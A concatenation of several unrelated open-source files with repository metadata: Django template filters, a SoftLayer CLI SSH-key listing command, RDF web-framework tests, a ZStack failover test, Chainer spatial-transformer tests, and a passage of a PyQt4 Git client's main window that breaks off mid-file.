"repo_name": "flags/Reactor-3",
"id": "990dd4f0dd49fe805335cc95edd42f005e9654fa",
"size": "11661",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "alife/factions.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "415"
},
{
"name": "Python",
"bytes": "1042784"
}
],
"symlink_target": ""
} |
from django import template
from django.template.defaultfilters import stringfilter
from django.utils.html import conditional_escape
from django.utils.safestring import mark_safe
from datetime import date
from website.models import Order, OrderProduct
import re
register = template.Library()
@register.filter
def get_item(dictionary, key):
val = dictionary.get(key)
if val is None:
val = ''
return val
@register.filter
def get_available_stock(product_id):
return ''
@register.filter
def get_order_total(totals,order):
totals_filtered = totals.get(order=order)
return totals_filtered.amount
@register.filter
def get_additional_spaces(name, max):
spaces = ' ' * (max - len(name))
return name + spaces
@register.filter
def get_preorder_release_date(release_date):
actual_date = date.today()
if release_date is not None and release_date != '' and release_date > actual_date:
return release_date
return None
@register.filter
def get_products_on_order(order):
order_products = OrderProduct.objects.filter(order=order).distinct('product')
return order_products
@register.filter
def get_price_with_currency_symbol(price):
price_str = str(price)
price_str = price_str.split()
if price_str[1] == 'EUR':
return '€'+price_str[0]
elif price_str[1] == 'USD':
return '$'+price_str[0]
elif price_str[1] == 'GBP':
return '£'+price_str[0]
return price
@stringfilter
def spacify(value, autoescape=None):
if autoescape:
esc = conditional_escape
else:
esc = lambda x: x
return mark_safe(re.sub('\s', '&'+'nbsp;', esc(value)))
spacify.needs_autoescape = True
register.filter(spacify) | {
"content_hash": "bc333805832abcd71701d41625e6f540",
"timestamp": "",
"source": "github",
"line_count": 63,
"max_line_length": 83,
"avg_line_length": 25.476190476190474,
"alnum_prop": 0.7370716510903427,
"repo_name": "vlameiras/cdkeyswholesale",
"id": "0e5676f511d1e2b5cd077ca038d5f7ec7cd0a9ae",
"size": "1625",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "website/templatetags/custom_filters.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "35583"
},
{
"name": "HTML",
"bytes": "21905"
},
{
"name": "JavaScript",
"bytes": "16643"
},
{
"name": "Python",
"bytes": "66500"
}
],
"symlink_target": ""
} |
"""List SSH keys."""
# :license: MIT, see LICENSE for more details.
import click
import SoftLayer
from SoftLayer.CLI import environment
from SoftLayer.CLI import formatting
@click.command(cls=SoftLayer.CLI.command.SLCommand, )
@click.option('--sortby',
help='Column to sort by',
type=click.Choice(['id',
'label',
'fingerprint',
'notes']))
@environment.pass_env
def cli(env, sortby):
"""List SSH keys."""
mgr = SoftLayer.SshKeyManager(env.client)
keys = mgr.list_keys()
table = formatting.Table(['id', 'label', 'fingerprint', 'notes'])
table.sortby = sortby
for key in keys:
table.add_row([key['id'],
key.get('label'),
key.get('fingerprint'),
key.get('notes', '-')])
env.fout(table)
| {
"content_hash": "65689e7b1038b4c9a11a086081baaeb7",
"timestamp": "",
"source": "github",
"line_count": 34,
"max_line_length": 69,
"avg_line_length": 27.11764705882353,
"alnum_prop": 0.5249457700650759,
"repo_name": "softlayer/softlayer-python",
"id": "7958675e6794dab5ef9addf67dd6e9c684f263dc",
"size": "922",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "SoftLayer/CLI/sshkey/list.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "DIGITAL Command Language",
"bytes": "854"
},
{
"name": "Makefile",
"bytes": "7458"
},
{
"name": "Python",
"bytes": "2657752"
}
],
"symlink_target": ""
} |
import unittest
import webtest
from rdflib import BNode, ConjunctiveGraph, Graph, Literal, URIRef
from rdflib.namespace import RDF, RDFS, FOAF, XSD
import bottle
from flask_rdf.bottle import returns_rdf, output, Decorator
def make_graph():
graph = Graph('IOMemory', BNode())
person = URIRef('http://example.com/#person')
graph.add((person, RDF.type, FOAF.Person))
graph.add((person, FOAF.age, Literal(15, datatype=XSD.integer)))
return graph
graph = make_graph()
def make_ctx_graph():
context = URIRef('http://example.com/#root')
graph = ConjunctiveGraph('IOMemory', context)
person = URIRef('http://example.com/#person')
graph.add((person, RDF.type, FOAF.Person))
graph.add((person, FOAF.age, Literal(15, datatype=XSD.integer)))
return graph
ctx_graph = make_ctx_graph()
def make_unicode_graph():
mygraph = make_graph()
mygraph.add((BNode(), FOAF.name, Literal('\u2603')))
return mygraph
unicode_graph = make_unicode_graph()
application = bottle.Bottle()
@application.route('/test')
@returns_rdf
def ctxless():
return graph
@application.route('/ctx')
@returns_rdf
def ctx():
return ctx_graph
@application.route('/text')
@returns_rdf
def text():
return 'This is a test string'
@application.route('/manual')
def manual():
return output(graph, bottle.request.headers.get('Accept', ''))
@application.route('/unicode')
@returns_rdf
def unicode():
return unicode_graph
@application.route('/202')
@returns_rdf
def custom():
bottle.response.set_header('CustomHeader', 'yes')
bottle.response.status = '202 Custom'
return graph
app = webtest.TestApp(application)
class TestCases(unittest.TestCase):
def test_format_simple(self):
turtle = graph.serialize(format='turtle')
headers = {'Accept': 'text/n3;q=0.5, text/turtle;q=0.9'}
response = app.get('/test', headers=headers)
self.assertEqual(turtle, response.body)
self.assertEqual('text/turtle; charset=utf-8', response.headers['content-type'])
self.assertEqual('Accept', response.headers['vary'])
self.assertEqual(200, response.status_int)
def test_format_unacceptable(self):
turtle = graph.serialize(format='turtle')
headers = {'Accept': 'text/html;q=0.9'}
response = app.get('/test', headers=headers, status=406)
self.assertEqual(406, response.status_int)
def test_format_manual(self):
turtle = graph.serialize(format='turtle')
headers = {'Accept': 'text/n3;q=0.5, text/turtle;q=0.9'}
response = app.get('/manual', headers=headers)
self.assertEqual(turtle, response.body)
self.assertEqual('text/turtle; charset=utf-8', response.headers['content-type'])
self.assertEqual('Accept', response.headers['vary'])
self.assertEqual(200, response.status_int)
def test_format_quads_context(self):
g = ctx_graph
self.assertTrue(g.context_aware)
quads = g.serialize(format='nquads')
headers = {'Accept': 'application/n-quads;q=0.9'}
response = app.get('/ctx', headers=headers)
self.assertEqual(quads, response.body)
self.assertEqual('application/n-quads', response.headers['content-type'])
self.assertEqual('Accept', response.headers['vary'])
self.assertEqual(200, response.status_int)
def test_format_quads_lowprio(self):
""" Test that quads are not used even if possible """
g = ctx_graph
quads = g.serialize(format='turtle')
headers = {'Accept': 'text/turtle;q=0.9, application/n-quads;q=0.4'}
response = app.get('/ctx', headers=headers)
self.assertEqual(quads, response.body)
self.assertEqual('text/turtle; charset=utf-8', response.headers['content-type'])
self.assertEqual('Accept', response.headers['vary'])
self.assertEqual(200, response.status_int)
def test_format_quads_highprio(self):
""" Test that quads are used with alternative """
g = ctx_graph
quads = g.serialize(format='nquads')
headers = {'Accept': 'text/turtle;q=0.4, application/n-quads;q=0.9'}
response = app.get('/ctx', headers=headers)
self.assertEqual(quads, response.body)
self.assertEqual('application/n-quads', response.headers['content-type'])
self.assertEqual('Accept', response.headers['vary'])
self.assertEqual(200, response.status_int)
def test_format_quads_unavailable(self):
""" Test that quads are not used with contextless store """
g = graph
quads = g.serialize(format='turtle')
headers = {'Accept': 'text/turtle;q=0.4, application/n-quads;q=0.9'}
response = app.get('/test', headers=headers)
self.assertEqual(quads, response.body)
self.assertEqual('text/turtle; charset=utf-8', response.headers['content-type'])
self.assertEqual('Accept', response.headers['vary'])
self.assertEqual(200, response.status_int)
def test_empty_format_headers(self):
xml = graph.serialize(format='xml')
headers = {'Accept': ''}
response = app.get('/test', headers=headers)
self.assertEqual('application/rdf+xml', response.headers['content-type'])
self.assertEqual('Accept', response.headers['vary'])
def test_text(self):
test_str = 'This is a test string'
headers = {'Accept': 'text/n3;q=0.5, text/turtle;q=0.9'}
response = app.get('/text', headers=headers)
self.assertEqual(test_str.encode('utf-8'), response.body)
def test_unicode(self):
mygraph = unicode_graph
turtle = mygraph.serialize(format='turtle')
headers = {'Accept': 'text/turtle'}
response = app.get('/unicode', headers=headers)
self.assertEqual(turtle, response.body)
self.assertEqual('text/turtle; charset=utf-8', response.headers['content-type'])
self.assertEqual('Accept', response.headers['vary'])
self.assertEqual(200, response.status_int)
self.assertTrue('\u2603' in response.body.decode('utf-8'))
def test_custom_response(self):
turtle = graph.serialize(format='turtle')
headers = {'Accept': 'text/turtle'}
response = app.get('/202', headers=headers)
self.assertEqual(turtle, response.body)
self.assertEqual('text/turtle; charset=utf-8', response.headers['content-type'])
self.assertEqual('Accept', response.headers['vary'])
self.assertEqual('yes', response.headers['CustomHeader'])
self.assertEqual(202, response.status_int)
def test_decorators(self):
turtle = graph.serialize(format='turtle')
xml = graph.serialize(format='xml')
view = graph
accepts = 'text/n3;q=0.5, text/turtle;q=0.9'
decorator = Decorator()
response = decorator.output(view, accepts)
self.assertEqual(turtle, response)
# use the decorator
decoratee = lambda *args: view
decorated = decorator.decorate(decoratee)
response = decorated()
self.assertEqual(turtle, response)
decorated = decorator(decoratee)
response = decorated()
self.assertEqual(turtle, response)
| {
"content_hash": "6b7085c4fa6ef8a07f76f25af49b17ec",
"timestamp": "",
"source": "github",
"line_count": 179,
"max_line_length": 82,
"avg_line_length": 36.547486033519554,
"alnum_prop": 0.7190461632528279,
"repo_name": "hufman/flask_rdf",
"id": "4de4ed77b3f050188f6bf02f54f2d24ccadaa022",
"size": "6542",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "flask_rdf/tests/test_bottle.py",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "Python",
"bytes": "51060"
}
],
"symlink_target": ""
} |
'''
Test Steps:
1. grace stop host where vip located.
2. check vip switch to another MN.
@author: SyZhao
'''
import zstackwoodpecker.test_util as test_util
import zstackwoodpecker.test_state as test_state
import zstackwoodpecker.test_lib as test_lib
import zstackwoodpecker.operations.node_operations as node_ops
import zstackwoodpecker.zstack_test.zstack_test_vm as test_vm_header
import zstackwoodpecker.operations.resource_operations as res_ops
import time
import os
vm = None
vip_s_vm_cfg_lst = None
test_stub = test_lib.lib_get_test_stub()
def test():
global vm
global vip_s_vm_cfg_lst
os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = os.environ['zstackHaVip']
vip_s_vm_cfg_lst = test_stub.get_s_vm_cfg_lst_vip_bind(test_lib.all_scenario_config, test_lib.scenario_file)
if len(vip_s_vm_cfg_lst) != 1:
test_util.test_fail('vip has been running on %d host(s)' % len(vip_s_vm_cfg_lst))
test_stub.ensure_hosts_connected()
test_stub.ensure_bss_connected()
test_stub.ensure_pss_connected()
vm = test_stub.create_vm()
test_util.test_logger("force shutdown host [%s]" % (vip_s_vm_cfg_lst[0].ip_))
test_stub.stop_host(vip_s_vm_cfg_lst[0], test_lib.all_scenario_config)
time.sleep(20)
expected_vip_s_vm_cfg_lst_ip = test_stub.get_expected_vip_s_vm_cfg_lst_after_switch(test_lib.all_scenario_config, test_lib.scenario_file, vip_s_vm_cfg_lst[0].ip_)
if not test_stub.check_if_vip_is_on_host(test_lib.all_scenario_config, test_lib.scenario_file, expected_vip_s_vm_cfg_lst_ip):
test_util.test_fail("find vip should drift on ip %s, but is not on it." %(expected_vip_s_vm_cfg_lst_ip))
vip_s_vm_cfg_lst_new = test_stub.get_s_vm_cfg_lst_vip_bind(test_lib.all_scenario_config, test_lib.scenario_file)
if len(vip_s_vm_cfg_lst_new) != 1:
test_util.test_fail('vip has been running on %d host(s)' % len(vip_s_vm_cfg_lst_new))
test_stub.wrapper_of_wait_for_management_server_start(600)
cond = res_ops.gen_query_conditions('uuid', '=', vm.vm.uuid)
for i in range(0, 60):
if res_ops.query_resource(res_ops.VM_INSTANCE, cond)[0].state == "Running":
break
time.sleep(1)
vm.destroy()
test_util.test_pass('Create VM Test Success')
#Will be called what ever test result is
def env_recover():
test_util.test_logger("recover host: %s" % (vip_s_vm_cfg_lst[0].ip_))
test_stub.recover_host(vip_s_vm_cfg_lst[0], test_lib.all_scenario_config, test_lib.deploy_config)
#test_stub.wait_for_mn_ha_ready(test_lib.all_scenario_config, test_lib.scenario_file)
test_stub.exec_zsha2_version(vip_s_vm_cfg_lst[0].ip_, "root", "password")
#Will be called only if exception happens in test().
def error_cleanup():
global vm
if vm:
try:
vm.destroy()
except:
pass
| {
"content_hash": "621d3232e7e647330956500f48d01427",
"timestamp": "",
"source": "github",
"line_count": 75,
"max_line_length": 166,
"avg_line_length": 38.85333333333333,
"alnum_prop": 0.6640356897735072,
"repo_name": "zstackio/zstack-woodpecker",
"id": "424f923822a2cce6e1f530b41de53748952078e4",
"size": "2914",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "integrationtest/vm/mini/zsha2/test_1_mn_host_grace_stop.py",
"mode": "33261",
"license": "apache-2.0",
"language": [
{
"name": "Dockerfile",
"bytes": "2356"
},
{
"name": "Go",
"bytes": "49822"
},
{
"name": "Makefile",
"bytes": "687"
},
{
"name": "Puppet",
"bytes": "875"
},
{
"name": "Python",
"bytes": "13070596"
},
{
"name": "Shell",
"bytes": "177861"
}
],
"symlink_target": ""
} |
import unittest
import numpy
import chainer
from chainer.backends import cuda
from chainer import functions
from chainer import gradient_check
from chainer import testing
from chainer.testing import attr
from chainer.testing import condition
from chainer import Variable
def _identiy_grid(in_shape):
mesh = numpy.meshgrid(
numpy.linspace(-1., 1., num=in_shape[2]),
numpy.linspace(-1., 1., num=in_shape[3]))
grid = numpy.concatenate([mesh[0][None], mesh[1][None]], axis=0)
grid = numpy.repeat(grid[None], in_shape[0], axis=0).astype(numpy.float32)
return grid
def _rotate_grid(in_shape):
mesh = numpy.meshgrid(
numpy.linspace(-1., 1., num=in_shape[2]),
numpy.linspace(-1., 1., num=in_shape[3]))
mesh = [numpy.rot90(mesh[0]), numpy.rot90(mesh[1])]
grid = numpy.concatenate([mesh[0][None], mesh[1][None]], axis=0)
grid = numpy.repeat(grid[None], in_shape[0], axis=0).astype(numpy.float32)
return grid
def _rotate_BCHW(x):
rotated_xs = []
for i in range(x.shape[0]):
x_i = x[i].transpose(1, 2, 0)
x_i = numpy.rot90(x_i)
rotated_xs.append(x_i.transpose(2, 0, 1))
rotated_xs = numpy.concatenate([r_x[None] for r_x in rotated_xs], axis=0)
return rotated_xs
@testing.parameterize(*testing.product({
'use_cudnn': ['always', 'never'],
}))
class TestSpatialTransformerSampler(unittest.TestCase):
in_shape = (2, 2, 4, 4)
out_shape = (2, 2, 3, 3)
grid_shape = (2, 2, 3, 3)
def setUp(self):
self.x = numpy.random.uniform(
size=self.in_shape).astype(numpy.float32)
self.grid = numpy.random.uniform(
low=-2., high=2., size=self.grid_shape).astype(numpy.float32)
self.grads = numpy.random.uniform(
size=self.out_shape).astype(numpy.float32)
def check_forward(self, x, grid):
y = functions.spatial_transformer_sampler(x, grid)
self.assertEqual(y.shape, self.out_shape)
@condition.retry(3)
def test_forward_cpu(self):
self.check_forward(self.x, self.grid)
@attr.gpu
@condition.retry(3)
def test_forward_gpu(self):
with chainer.using_config('use_cudnn', self.use_cudnn):
self.check_forward(cuda.to_gpu(self.x), cuda.to_gpu(self.grid))
def check_backward(self, x, grid, grads):
gradient_check.check_backward(
functions.SpatialTransformerSampler(),
(x, grid), (grads,), dtype='d', atol=1e-2, rtol=1e-2, eps=1e-5)
@condition.retry(3)
def test_backward_cpu(self):
self.check_backward(self.x, self.grid, self.grads)
@attr.gpu
@condition.retry(3)
def test_backward_gpu(self):
with chainer.using_config('use_cudnn', self.use_cudnn):
self.check_backward(cuda.to_gpu(self.x),
cuda.to_gpu(self.grid),
cuda.to_gpu(self.grads))
class TestSpatialTransformerSamplerConsistencyWithCuDNN(unittest.TestCase):
in_shape = (2, 2, 4, 4)
out_shape = (2, 2, 3, 3)
grid_shape = (2, 2, 3, 3)
def setUp(self):
self.x = numpy.random.uniform(
size=self.in_shape).astype(numpy.float32)
self.grid = numpy.random.uniform(
low=-2, high=2, size=self.grid_shape).astype(numpy.float32)
self.grads = numpy.random.uniform(
size=self.out_shape).astype(numpy.float32)
def _apply_backward(self, x, grid, grads):
x = Variable(x)
grid = Variable(grid)
y = functions.spatial_transformer_sampler(x, grid)
x.cleargrad()
grid.cleargrad()
y.grad = grads
y.backward()
return x, grid, y
@attr.gpu
@attr.cudnn
def test_consistency_with_cudnn_cpu(self):
with chainer.using_config('use_cudnn', 'never'):
x_cpu, grid_cpu, y_cpu = self._apply_backward(
self.x, self.grid, self.grads)
with chainer.using_config('use_cudnn', 'always'):
x_cudnn, grid_cudnn, y_cudnn = self._apply_backward(
cuda.to_gpu(self.x), cuda.to_gpu(self.grid),
cuda.to_gpu(self.grads))
testing.assert_allclose(y_cpu.data, y_cudnn.data)
testing.assert_allclose(x_cpu.grad, x_cudnn.grad)
testing.assert_allclose(grid_cpu.grad, grid_cudnn.grad)
@attr.gpu
@attr.cudnn
def test_consistency_with_cudnn_gpu(self):
with chainer.using_config('use_cudnn', 'never'):
x_gpu, grid_gpu, y_gpu = self._apply_backward(
cuda.to_gpu(self.x), cuda.to_gpu(self.grid),
cuda.to_gpu(self.grads))
with chainer.using_config('use_cudnn', 'always'):
x_cudnn, grid_cudnn, y_cudnn = self._apply_backward(
cuda.to_gpu(self.x), cuda.to_gpu(self.grid),
cuda.to_gpu(self.grads))
testing.assert_allclose(y_gpu.data, y_cudnn.data)
testing.assert_allclose(x_gpu.grad, x_cudnn.grad)
testing.assert_allclose(grid_gpu.grad, grid_cudnn.grad)
@testing.parameterize(
{'grid_creator': _identiy_grid, 'operator': lambda x: x,
'use_cudnn': 'always'},
{'grid_creator': _identiy_grid, 'operator': lambda x: x,
'use_cudnn': 'never'},
{'grid_creator': _rotate_grid, 'operator': _rotate_BCHW,
'use_cudnn': 'always'},
{'grid_creator': _rotate_grid, 'operator': _rotate_BCHW,
'use_cudnn': 'never'},
)
class TestSpatialTransformerSamplerForwardToyCases(unittest.TestCase):
in_shape = (2, 2, 4, 4)
grid_shape = (2, 2, 3, 3)
def setUp(self):
self.x = numpy.random.uniform(
size=self.in_shape).astype(numpy.float32)
self.grid = self.grid_creator(self.in_shape)
def check_forward(self, x, grid):
y = functions.spatial_transformer_sampler(x, grid)
testing.assert_allclose(y.data, self.operator(self.x))
@condition.retry(3)
def test_forward_cpu(self):
self.check_forward(self.x, self.grid)
@attr.gpu
@condition.retry(3)
def test_forward_gpu(self):
with chainer.using_config('use_cudnn', self.use_cudnn):
self.check_forward(cuda.to_gpu(self.x), cuda.to_gpu(self.grid))
@testing.parameterize(*testing.product({
'use_cudnn': ['always', 'never'],
}))
class TestSpatialTransformerSamplerForwardPaddedImage(unittest.TestCase):
in_shape = (1, 2, 4, 4)
def setUp(self):
self.x = numpy.random.uniform(
size=self.in_shape).astype(numpy.float32)
p1 = [[-0.5], [-0.5]]
p2 = [[3.5], [3.5]]
p3 = [[2], [3.5]]
p4 = [[-0.5], [2]]
self.grid = numpy.concatenate((p1, p2, p3, p4), axis=1)
self.grid = self.grid.reshape(1, 2, 4, 1).astype(numpy.float32)
# Scale the coordinates so that the pixels inside the input image
# lies in range [-1, 1].
self.grid[:, 0] =\
((self.grid[:, 0] / (self.in_shape[3] - 1)) - 0.5) * 2
self.grid[:, 1] =\
((self.grid[:, 1] / (self.in_shape[2] - 1)) - 0.5) * 2
exp_p1 = self.x[0, :, 0, 0] / 4
exp_p2 = self.x[0, :, 3, 3] / 4
exp_p3 = self.x[0, :, 3, 2] / 2
exp_p4 = self.x[0, :, 2, 0] / 2
self.expected = numpy.concatenate(
(exp_p1[:, None],
exp_p2[:, None],
exp_p3[:, None],
exp_p4[:, None]), axis=1)
self.expected = self.expected.reshape(1, 2, 4, 1).astype(numpy.float32)
def check_forward(self, x, grid, expected):
y = functions.spatial_transformer_sampler(x, grid)
testing.assert_allclose(y.data, expected)
@condition.retry(3)
def test_forward_cpu(self):
self.check_forward(self.x, self.grid, self.expected)
@attr.gpu
@condition.retry(3)
def test_forward_gpu(self):
with chainer.using_config('use_cudnn', self.use_cudnn):
self.check_forward(cuda.to_gpu(self.x), cuda.to_gpu(self.grid),
cuda.to_gpu(self.expected))
testing.run_module(__name__, __file__)
| {
"content_hash": "186a33cf6dc81a2cde1d5b6da7c0c658",
"timestamp": "",
"source": "github",
"line_count": 235,
"max_line_length": 79,
"avg_line_length": 34.22127659574468,
"alnum_prop": 0.5920169112161154,
"repo_name": "aonotas/chainer",
"id": "a282924f93e7e4b021d609f480221f28e584b436",
"size": "8042",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "tests/chainer_tests/functions_tests/array_tests/test_spatial_transformer_sampler.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "3368"
},
{
"name": "PowerShell",
"bytes": "7197"
},
{
"name": "Python",
"bytes": "3357320"
}
],
"symlink_target": ""
} |
from PyQt4 import QtCore, QtGui
import os
import socket
import logging
import inspect
import MainWindow_rc
from GitLib import LOG
import GitLib
#
# MainWindow class
#
class MainWindow(QtGui.QMainWindow, GitLib.GitLibDelegate) :
def __init__(self):
super(MainWindow, self).__init__()
self.git = None
self.settings = None
self.InitPreferences()
self.InitGitWorker()
self.InitSignals()
self.InitGit()
self.InitUI()
#
# MainWindowGitDelegate methods
#
def GetLoggingEnabled(self):
loglevel = logging.DEBUG
return (True, loglevel, None, MainWindow.MainWindowLoggingHandler(logging.INFO, self))
def GetTopDir(self):
return os.path.expanduser('~/projects')
def OnGitCommand(self, item = None):
self.emit(QtCore.SIGNAL("OnProjGitCommand"), (item))
def OnScanItem(self, item = None):
self.emit(QtCore.SIGNAL("OnProjListItem"), (item))
def OnScanDone(self):
self.emit(QtCore.SIGNAL("OnProjListItemsDone"), ())
#
# MainWindow methods
#
def InitPreferences(self):
self.settings = QtCore.QSettings(GitLib.GITLIBAPPNAME + '.ini', QtCore.QSettings.IniFormat)
self.settings.setValue("Geometry", self.saveGeometry())
def InitGitWorker(self):
self.worker = GitLib.GitWorker();
self.worker.execute() #dry run
def InitSignals(self):
self.connect(self, QtCore.SIGNAL("OnProjListItem"), self.OnProjListItem)
self.connect(self, QtCore.SIGNAL("OnProjListItemsDone"), self.OnProjListItemsDone)
self.connect(self, QtCore.SIGNAL("OnProjGitCommand"), self.OnProjGitCommand)
def InitGit(self):
self.git = GitLib.GitLib(self)
self.git.SetupGit();
self.git.Version()
def InitUI(self):
self.CreateUIResources()
self.CreateActions()
self.CreateToolBar()
self.CreateStatusBar()
self.projGroupBox = self.CreateLeftPane()
self.gitCtxGroupBox = self.CreateRightUpPane()
self.gitTreeGroupBox = self.CreateRightCenterPane()
self.logGroupBox = self.CreateRightDownPane()
frame = QtGui.QFrame()
mainLayout = QtGui.QGridLayout(frame)
mainLayout.addWidget(self.projGroupBox, 0, 0, 0, 1)
mainLayout.addWidget(self.gitCtxGroupBox, 0, 1)
mainLayout.addWidget(self.gitTreeGroupBox, 1, 1)
mainLayout.addWidget(self.logGroupBox, 2, 1)
mainLayout.setColumnStretch(0, 15)
mainLayout.setColumnStretch(1, 30)
mainLayout.setRowStretch(0, 0)
mainLayout.setRowStretch(1, 50)
mainLayout.setRowStretch(2, 20)
self.setCentralWidget(frame)
self.setWindowTitle("Gitra-VCF [" + socket.gethostname() + "]")
self.resize(940, 620)
def ResetGitProjects(self):
self.listTree.hide()
self.projList.clear()
def ActivateGitProjects(self):
self.listTree.show()
self.projList.setCurrentItem(self.projList.item(0))
def AddGitProjectItem(self, item):
qtItem = QtGui.QListWidgetItem(self.projList)
qtItem.setText(item.name)
qtItem.setData(QtCore.Qt.UserRole, item.path)
qtItem.setData(QtCore.Qt.UserRole + 1, item)
qtItem.setIcon(self.uiicons[GitLib.GitProjectItem.ProjStatus.Unknown])
def UpdateGitProjectItem(self, item):
qtItem = self.projList.findItems(item.name, QtCore.Qt.MatchExactly)[0]
if qtItem:
qtItem.setIcon(self.uiicons[item.status])
def UiLogMessage(self, message):
if hasattr(self, 'logEditor'):
self.logEditor.moveCursor(QtGui.QTextCursor.End, QtGui.QTextCursor.MoveAnchor)
self.logEditor.insertHtml(message)
self.logEditor.scrollToAnchor('')
def CreateLeftPane(self):
projList = self.projList = QtGui.QListWidget()
projList.setViewMode(QtGui.QListView.ListMode)
projList.setAcceptDrops(True)
projList.setSpacing(2)
projList.setIconSize(QtCore.QSize(48, 48))
projList.currentItemChanged.connect(self.OnProjListItemChanged)
projLayout = QtGui.QVBoxLayout()
projLayout.addWidget(projList)
groupBox = QtGui.QGroupBox("Projects")
groupBox.setLayout(projLayout)
return groupBox
def CreateRightUpPane(self):
gitBranchesCombo = QtGui.QComboBox();
gitBranchesCombo.addItem("origin/master")
gitBranchesCombo.addItem("origin/feature1")
branchesLayout = QtGui.QHBoxLayout()
branchesLayout.addWidget(QtGui.QLabel('Branches:'))
branchesLayout.addWidget(gitBranchesCombo)
gitTagsCombo = QtGui.QComboBox();
gitTagsCombo.addItem("v1")
gitTagsCombo.addItem("v2")
gitTagsCombo.addItem("v3")
tagsLayout = QtGui.QHBoxLayout()
tagsLayout.addWidget(QtGui.QLabel('Tags:'))
tagsLayout.addWidget(gitTagsCombo)
gitRemotesCombo = QtGui.QComboBox();
gitRemotesCombo.addItem("origin")
gitRemotesCombo.addItem("upstream")
remotesLayout = QtGui.QHBoxLayout()
remotesLayout.addWidget(QtGui.QLabel('Remotes:'))
remotesLayout.addWidget(gitRemotesCombo)
cmdLayout = QtGui.QGridLayout()
cmdLayout.addLayout (branchesLayout, 0, 1)
cmdLayout.addLayout (tagsLayout, 0, 2)
cmdLayout.addLayout (remotesLayout, 0, 3)
cmdLayout.setRowStretch(3, 1)
groupBox = QtGui.QGroupBox("Context")
groupBox.setLayout(cmdLayout)
return groupBox
def CreateRightCenterPane(self):
treeModel = self.treeModel = QtGui.QDirModel()
treeModel.setFilter(QtCore.QDir.Dirs |
QtCore.QDir.NoDotAndDotDot |
QtCore.QDir.NoSymLinks |
QtCore.QDir.Files)
listTree = self.listTree = QtGui.QTreeView()
listTree.setRootIsDecorated(False)
listTree.setIndentation(20)
listTree.setSortingEnabled(True)
listTree.setAlternatingRowColors(True)
listTree.setModel(treeModel)
listTree.setRootIndex(treeModel.index(QtCore.QDir.currentPath()));
listTree.hide ()
#listTree.setColumnCount(5)
#listTree.setHeaderLabels(("Name", "Size", "Status", "Created", "Changed"))
#listTree.header().setStretchLastSection(False)
treeLayout = QtGui.QVBoxLayout()
treeLayout.addWidget(listTree)
groupBox = QtGui.QGroupBox("Tree")
groupBox.setLayout(treeLayout)
return groupBox
def CreateRightDownPane(self):
logEditor = self.logEditor = QtGui.QTextEdit()
logEditor.setReadOnly(True)
logEditor.setLineWrapMode(QtGui.QTextEdit.NoWrap)
logEditor.setPlainText("Starting...")
logEditor.setHtml('<p><span style="color:darkblue">'
'git></span> # On branch <span style="color:darkred">master</span><br>'
'<span style="color:darkblue">'
'git></span> nothing to commit <span style="color:grey">(working directory clean)'
'</span><br></p>')
logLayout = QtGui.QVBoxLayout()
logLayout.addWidget(logEditor)
groupBox = QtGui.QGroupBox("Log")
groupBox.setLayout(logLayout)
return groupBox
def CreateToolBar(self):
tbSize = QtCore.QSize(36, 36)
tbStyle = QtCore.Qt.ToolButtonTextUnderIcon
self.fileToolBar = self.addToolBar("Main")
self.fileToolBar.setIconSize(tbSize)
self.fileToolBar.setToolButtonStyle(tbStyle)
self.fileToolBar.addAction(self.RescanAction)
self.fileToolBar.addAction(self.GitInitAction)
self.fileToolBar.addAction(self.GitCloneAction)
self.gitToolBar = self.addToolBar("GitInfo")
self.gitToolBar.setIconSize(tbSize)
self.gitToolBar.setToolButtonStyle(tbStyle)
self.gitToolBar.addAction(self.GitStatusAction)
self.gitToolBar.addAction(self.GitLogAction)
self.gitToolBar.addAction(self.GitDiffAction)
self.gitToolBar.addAction(self.GitConfigAction)
self.gitAToolBar = self.addToolBar("GitAdvanced")
self.gitAToolBar.setIconSize(tbSize)
self.gitAToolBar.setToolButtonStyle(tbStyle)
self.gitAToolBar.addAction(self.GitPullAction)
self.gitAToolBar.addAction(self.GitFetchAction)
self.gitAToolBar.addAction(self.GitCommitAction)
self.gitAToolBar.addAction(self.GitPushAction)
self.gitMToolBar = self.addToolBar("GitMerge")
self.gitMToolBar.setIconSize(tbSize)
self.gitMToolBar.setToolButtonStyle(tbStyle)
self.gitMToolBar.addAction(self.GitBranchAction)
self.gitMToolBar.addAction(self.GitTagAction)
self.gitMToolBar.addAction(self.GitMergeAction)
self.gitMToolBar.addAction(self.GitRebaseAction)
self.helpToolBar = self.addToolBar("Help")
self.helpToolBar.setIconSize(tbSize)
self.helpToolBar.setToolButtonStyle(tbStyle)
self.helpToolBar.addAction(self.HelpAction)
self.helpToolBar.addAction(self.AboutAction)
def CreateStatusBar(self):
self.statusBar().showMessage("Ready")
def CreateUIResources(self):
self.uiicons = {
GitLib.GitProjectItem.ProjStatus.Unknown : QtGui.QIcon(":/resources/giticonunknown.png"),
GitLib.GitProjectItem.ProjStatus.Clean : QtGui.QIcon(":/resources/giticonclean.png"),
GitLib.GitProjectItem.ProjStatus.Changed : QtGui.QIcon(":/resources/giticonchanged.png"),
GitLib.GitProjectItem.ProjStatus.Staged : QtGui.QIcon(":/resources/giticonchanged.png "),
GitLib.GitProjectItem.ProjStatus.Conflicted : QtGui.QIcon(":/resources/giticonconflicted.png"),
GitLib.GitProjectItem.ProjStatus.Ahead : QtGui.QIcon(":/resources/giticonahead.png")
}
def CreateActions(self):
self.RescanAction = QtGui.QAction(QtGui.QIcon(':/resources/rescan.png'), "&Rescan",
self, shortcut="Ctrl+R", statusTip="Rescan the projects list",
triggered=self.DoRescan)
self.GitInitAction = QtGui.QAction(QtGui.QIcon(':/resources/gitinit.png'), "&Init",
self, shortcut="Alt+2", statusTip="Create an empty git repository or reinitialize an existing one",
triggered=self.DoGitInit)
